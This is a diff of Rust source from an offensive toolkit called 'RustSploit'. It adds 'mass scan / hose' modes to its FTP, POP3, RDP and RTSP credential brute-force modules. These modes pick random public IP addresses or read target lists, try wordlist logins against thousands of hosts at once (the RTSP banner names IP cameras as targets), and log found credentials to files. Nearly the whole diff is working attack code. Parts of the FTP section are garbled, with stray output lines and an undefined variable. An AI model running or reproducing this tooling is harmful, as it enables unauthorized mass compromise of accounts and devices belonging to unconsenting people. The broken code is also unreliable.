let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
println!("[+] Unknown responses saved to '{}'", file_path.display());
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes) = &*creds;
// 2. Iterative Bruteforce
// Sequential try to avoid blasting the server
let addr_str = format!("{}:{}", ip, port);
for user in users {
for pass in passes {
let res = try_ftp_login(&addr_str, &ip.to_string(), user, pass, verbose).await;
match res {
Ok(true) => {
// Format: IP:PORT:USER:PASS
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(false) => { // Auth failed
}
Err(e) => {
eprintln!(
"[!] Could not create or write unknown response file '{}': {}",
file_path.display(),
e
);
// If conn refused/timeout, likely dead or blocked, abort this host
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return;
}
}
}
}
}
Ok(())
}
/// Try login using address string and fallback to FTPS if needed
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
if verbose {
println!("[i] Connecting to {} (plain FTP)", addr);
//println!("[i] Connecting to {} (plain FTP)", addr);
}
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
@@ -433,17 +562,13 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
return Ok(false);
}
FtpErrorType::TlsRequired => {
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
// Proceed to FTPS attempt
}
FtpErrorType::ConnectionLimitExceeded => {
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
sleep(Duration::from_secs(1)).await;
return Ok(false); // Treat as soft fail
}
_ => {
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP login error: {}", msg));
}
}
@@ -451,81 +576,35 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
}
}
Ok(Err(e)) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::TlsRequired => {
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
}
FtpErrorType::ConnectionLimitExceeded => {
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
}
FtpErrorType::ConnectionFailed => {
if verbose {
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
}
return Err(anyhow!("FTP connection failed: {}", msg));
}
_ => {
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP connection error: {}", msg));
}
}
// Connection level error
return Err(e.into());
}
Err(_) => {
if verbose {
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
}
return Err(anyhow!("FTP connection timeout"));
return Err(anyhow!("Timeout"));
}
}
// FTPS fallback: connect and upgrade to TLS
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
}
// FTPS fallback logic (retained but lightweight for mass scan? maybe skip for mass scan unless configured?)
// For now, reuse it as it makes the check robust.
// FTPS attempts ... (simulated reuse of original logic below)
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
Ok(Ok(s)) => s,
_ => return Err(anyhow!("FTPS Connect failed")),
};
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
.await
.map_err(|_| {
if verbose {
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
}
anyhow!("FTPS connection timeout")
})?
.map_err(|e| {
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("FTPS base connect failed: {}", e)
})?;
// Build a connector that accepts invalid certs/hostnames (as original code did)
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target);
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("TLS upgrade failed: {}", e)
})?;
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
Ok(s) => s,
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
};
match ftp_tls.login(user, pass).await {
Ok(_) => {
@@ -533,16 +612,40 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
Ok(true)
}
Err(e) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
match FtpErrorType::classify_error(&e.to_string()) {
FtpErrorType::AuthenticationFailed => Ok(false),
_ => {
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
Err(anyhow!("FTPS error: {}", msg))
}
}
_ => Err(anyhow!("FTPS Error: {}", e)),
}
}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded { return ip_addr; }
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
let ip_s = ip.to_string();
let status = Command::new("grep").arg("-F").arg("-q").arg(format!("checked: {}", ip_s)).arg(STATE_FILE).status().await;
match status { Ok(s) => s.success(), Err(_) => false }
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(STATE_FILE).await {
let _ = file.write_all(data.as_bytes()).await;
}
}
File diff suppressed because it is too large Load Diff
+218 -11
View File
@@ -1,4 +1,4 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use native_tls::TlsConnector;
use std::io::{Read, Write};
@@ -13,12 +13,32 @@ use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
load_lines, prompt_default, prompt_wordlist,
};
use crate::modules::creds::utils::BruteforceStats;
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
use std::sync::atomic::AtomicUsize;
use std::net::{IpAddr, SocketAddr};
use tokio::fs::OpenOptions; // For file writing in mass scan
use tokio::io::AsyncWriteExt; // For write_all
const STATE_FILE: &str = "pop3_hose_state.log";
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
@@ -41,6 +61,15 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
let default_port = if use_ssl { 995 } else { 110 };
@@ -89,10 +118,193 @@ pub async fn run(target: &str) -> Result<()> {
run_pop3_bruteforce(config).await
}
async fn run_mass_scan(target: &str) -> Result<()> {
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535).await? as u16;
let usernames_file = prompt_wordlist("Username wordlist").await?;
let passwords_file = prompt_wordlist("Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let output_file = prompt_default("Output result file", "pop3_mass_results.txt").await?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, use_ssl));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid POP3 credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break, // Semaphore closed, exit loop
};
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await
.context(format!("Failed to read target file: {}", target))?;
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => continue, // Skip this IP if semaphore closed
};
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, bool)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes, use_ssl) = &*creds;
let target_str = ip.to_string();
// Construct a config for the attempt function
// We can't reuse the large config struct easily without creating dummy values,
// so we'll just reconstruct the necessary parts or make attempt_pop3_login take separate args.
// For now, I'll build a dummy config.
let dummy_wordlist = "dummy".to_string();
for user in users {
for pass in passes {
let t_target = target_str.clone();
let t_user = user.clone();
let t_pass = pass.clone();
let t_use_ssl = *use_ssl;
let dw = dummy_wordlist.clone();
// Blocking call
let res = tokio::task::spawn_blocking(move || {
let config = Pop3BruteforceConfig {
target: t_target,
port,
username_wordlist: dw.clone(),
password_wordlist: dw.clone(),
threads: 1,
stop_on_success: false,
verbose,
full_combo: false,
use_ssl: t_use_ssl,
connection_timeout: 5, // 5 seconds for login attempt
retry_on_error: false,
max_retries: 0,
output_file: "".to_string(),
delay_ms: 0,
};
attempt_pop3_login(&config, &t_user, &t_pass)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", ip, user, pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(Ok(false)) => {
// Auth failed
}
Ok(Err(_)) => {
// Connection error - abort this host
return;
}
Err(_) => {
// Start/Join error
}
}
}
}
}
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
// Determine loading strategy
let _user_count = count_lines(&config.username_wordlist)?;
let _pass_count = count_lines(&config.password_wordlist)?;
let _user_count = load_lines(&config.username_wordlist)?.len();
let _pass_count = load_lines(&config.password_wordlist)?.len();
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
@@ -250,12 +462,7 @@ async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
Ok(())
}
fn count_lines(path: &str) -> Result<usize> {
let file = std::fs::File::open(path)?;
let reader = std::io::BufReader::new(file);
use std::io::BufRead;
Ok(reader.lines().count())
}
// Blocking login attempt
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
+17 -173
View File
@@ -1,21 +1,26 @@
use anyhow::{anyhow, Context, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
path::Path,
sync::Arc,
sync::atomic::{AtomicBool, AtomicU64, Ordering},
time::Instant,
};
use tokio::{
io::{AsyncBufReadExt, AsyncWriteExt},
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
use crate::utils::{
prompt_yes_no, prompt_default, prompt_port,
prompt_wordlist, prompt_int_range,
load_lines, get_filename_in_current_dir,
};
const PROGRESS_INTERVAL_SECS: u64 = 2;
const MAX_MEMORY_LOAD_SIZE: u64 = 150 * 1024 * 1024; // 150 MB
@@ -246,74 +251,15 @@ pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389").await?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let port: u16 = prompt_port("RDP Port", 3389).await?;
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path").await?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let usernames_file_path = prompt_wordlist("Username wordlist").await?;
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path").await?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = prompt_wordlist("Password wordlist").await?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10").await?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "10").await?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let save_results = prompt_yes_no("Save results to file?", true).await?;
@@ -337,14 +283,14 @@ pub async fn run(target: &str) -> Result<()> {
println!("[*] Timeout: {} seconds", timeout_secs);
// Count lines for display
let user_count = count_lines(&usernames_file_path)?;
let user_count = load_lines(&usernames_file_path)?.len();
if user_count == 0 {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", user_count);
let password_count = count_lines(&passwords_file_path)?;
let password_count = load_lines(&passwords_file_path)?.len();
if password_count == 0 {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
@@ -421,7 +367,7 @@ pub async fn run(target: &str) -> Result<()> {
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
match File::create(&filename).context(format!("Failed to create output file '{}'", filename.display())) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
@@ -432,7 +378,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
eprintln!("[!] {}", e);
}
}
}
@@ -1025,115 +971,13 @@ async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_dura
}
}
async fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut s = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut s)
.await
.context("Failed to read input")?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
async fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut s = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut s)
.await
.context("Failed to read input")?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
async fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut s = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut s)
.await
.context("Failed to read input")?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|line| !line.trim().is_empty())
.count())
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"rdp_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
fn sanitize_rdp_argument(input: &str) -> String {
input.chars()
@@ -1,4 +1,4 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
@@ -6,31 +6,52 @@ use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::Write,
net::SocketAddr,
net::{IpAddr, Ipv4Addr, SocketAddr},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::Duration,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::sleep,
time::{sleep, timeout},
process::Command,
fs::OpenOptions,
};
use rand::Rng;
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range, prompt_port,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "rtsp_hose_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc) - Copied from telnet_hose
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
println!("{}", "║ Modes: Single Target & Mass Scan (Hose) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
@@ -38,10 +59,23 @@ fn display_banner() {
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
// Check for Mass Scan Mode conditions
// If target is "random", "0.0.0.0", "0.0.0.0/0", or looks like a file path (and we can assume it's a file list)
// Note: The caller usually handles file loading for specific modules, but for "hose" modules like telnet_hose, passing the file path is common.
// We'll treat it as mass scan if it's explicitly "random" OR "0.0.0.0" OR if it points to an existing file.
// Simple heuristic: if we can open it as a file, treat as file list for mass scan.
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
let port: u16 = prompt_default("RTSP Port", "554").await?
.parse().unwrap_or(554);
println!("{}", format!("[*] Target: {}", target).cyan());
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single-Target Logic ---
let port: u16 = prompt_port("RTSP Port", 554).await?;
let usernames_file = prompt_wordlist("Username wordlist").await?;
let passwords_file = prompt_wordlist("Password wordlist").await?;
@@ -72,7 +106,26 @@ pub async fn run(target: &str) -> Result<()> {
};
let advanced_headers = Arc::new(advanced_headers);
let (addr, implicit_path) = normalize_target_input(target, port)?;
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
let implicit_path = extract_rtsp_path(target);
// Normalize target and add port if needed
let target_normalized = if target.starts_with("rtsp://") {
target.strip_prefix("rtsp://")
.unwrap()
.split('/')
.next()
.unwrap_or(target)
} else {
target.split('/').next().unwrap_or(target)
};
let normalized = normalize_target(target_normalized)?;
let addr = if normalized.contains(':') {
normalized
} else {
format!("{}:{}", normalized, port)
};
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
@@ -134,10 +187,6 @@ pub async fn run(target: &str) -> Result<()> {
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
// Use loop structure from other modules or this module's custom loop?
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
// I will preserve the original logic flow.
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
@@ -212,9 +261,6 @@ pub async fn run(target: &str) -> Result<()> {
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
// The semaphore logic above (acquire_owned) already throttles concurrency.
}
}
idx += 1;
@@ -258,6 +304,282 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
/// Run mass scan logic (Hose style)
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep wordlists
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
let port: u16 = prompt_port("RTSP Port", 554).await?;
let usernames_file = prompt_wordlist("Username wordlist").await?;
let passwords_file = prompt_wordlist("Password wordlist").await?;
let paths_file = prompt_wordlist("RTSP paths file (empty for none/root)").await?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
let mut paths = load_lines(&paths_file)?;
if paths.is_empty() {
paths.push("".to_string());
}
if users.is_empty() || pass_lines.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let output_file = prompt_default("Output result file", "rtsp_mass_results.txt").await?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, paths));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} RTSP streams found",
